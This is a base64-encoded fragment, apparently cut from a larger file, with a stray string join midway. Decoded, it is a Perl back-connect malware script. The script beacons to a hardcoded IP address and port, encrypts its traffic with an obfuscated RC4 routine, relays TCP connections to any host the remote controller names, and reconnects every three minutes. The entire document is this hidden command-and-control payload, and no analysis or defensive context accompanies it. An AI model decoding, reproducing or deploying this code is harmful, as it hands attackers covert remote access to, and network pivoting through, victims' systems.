QsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTEnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNv